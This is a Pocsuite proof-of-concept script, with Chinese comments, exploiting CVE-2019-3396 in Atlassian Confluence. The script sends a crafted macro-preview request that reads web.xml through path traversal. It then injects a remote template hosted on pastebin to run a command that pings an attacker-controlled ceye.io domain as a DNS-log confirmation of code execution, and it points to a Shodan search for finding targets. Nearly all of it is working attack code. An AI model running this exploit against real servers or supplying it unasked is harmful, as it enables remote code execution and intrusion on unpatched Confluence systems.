#!/usr/bin/env python
#coding=utf-8

"""
Copyright (c) 2014-2015 pocsuite developers (http://seebug.org)
See the file 'docs/COPYING' for copying permission
"""

# requests
from pocsuite.api.request import req
import urllib
# register
from pocsuite.api.poc import register
# report
from pocsuite.api.poc import Output, POCBase

import random
from string import letters


# 基础基类
class ConfluenceRcePOC(POCBase):
    vulID = '58'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  # 默认为1
    vulDate = '2019-03-25'  # 漏洞公开的时间,不知道就写今天
    author = 'shadowsock5'  # PoC作者的大名
    createDate = '2019-04-12'  # 编写 PoC 的日期
    updateDate = '2019-04-12'  # PoC 更新的时间,默认和编写时间一样
    references = ['https://jira.atlassian.com/browse/CONFSERVER-57974', 'https://github.com/Yt1g3r/CVE-2019-3396_EXP/blob/master/RCE_exp.py']  # 漏洞地址来源,0day不用写
    name = 'Confluence RCE(CVE-2019-3396)'  # PoC 名称
    appPowerLink = ['https://jira.atlassian.com/']  # 漏洞厂商主页地址
    appName = 'Atlassian Confluence'  # 漏洞应用名称
    appVersion = '''6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本'''  # 漏洞影响版本
    vulType = 'Confluence RCE'  # 漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        Atlassian Confluence 服务端模版注入/RCE
    '''  # 漏洞简要描述
    samples = ['https://www.shodan.io/search?query=confluence']  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = []  # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写
    cvss = u"严重"  # 严重,高危,中危,低危


    # 使用随机字符串作为banner，通过ceye的接口判断命令是否被执行
    DOMAIN = 'xxx.ceye.io'   # 自己的ceye域名
    TOKEN = '76dce59a986eab595838f7dc7490xxxx'   # 自己的API TOKEN
    BANNER = ''.join([random.choice(letters) for i in range(6)])
    CEYE_URL = 'http://api.ceye.io/v1/records?token={0}&type=dns&filter={1}'.format(TOKEN, BANNER)

    # 指纹方法
    def _fingerprint(self):
        pass

    # 验证模块 pocsuite -r xxx.py -u 10.0.0.1 --verify
    def _verify(self, _template="../web.xml", _cmd=""):
        # 调用指纹方法
        result={}

        vul_url = self.url

        target_url = vul_url + "/rest/tinymce/1/macro/preview"

        headers = {'Referer':vul_url + "/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&"}
        import json
        j = {"contentId":"55","macro":{"name":"widget","body":"",
                                       "params":{"url":"https://www.youtube.com/watch?v=shadowsock5","width":"1","height":"1",
                                                 "_template": _template,"cmd":_cmd}}}

        try:
            resp = req.post(target_url, json=j, headers=headers, timeout=2)
        except Exception as e:
            pass

        if resp.status_code == 200 and "<context-param>" in resp.text: # web.xml的标志之一
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = target_url
        return self.save_output(result)

    # 攻击模块
    def _attack(self):
        template = "https://pastebin.com/raw/RyUvk1h8"
        cmd = "ping {0}.{1}".format(self.BANNER, self.DOMAIN)
        self._verify(template, cmd)
        if self.dnslog_sucess(self.CEYE_URL):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = target_url
        return self.save_output(result)

    # 输出报告
    def save_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail()
        return output


    # 验证DNS已被解析，命令执行
    def dnslog_sucess(self, url):
        _resp = req.get(url)
        d = _resp.json()
        try:
            name = d['data'][0]['name']
            if self.BANNER in name:
                return True
        except Exception:
            return False

# 注册类
register(ConfluenceRcePOC)
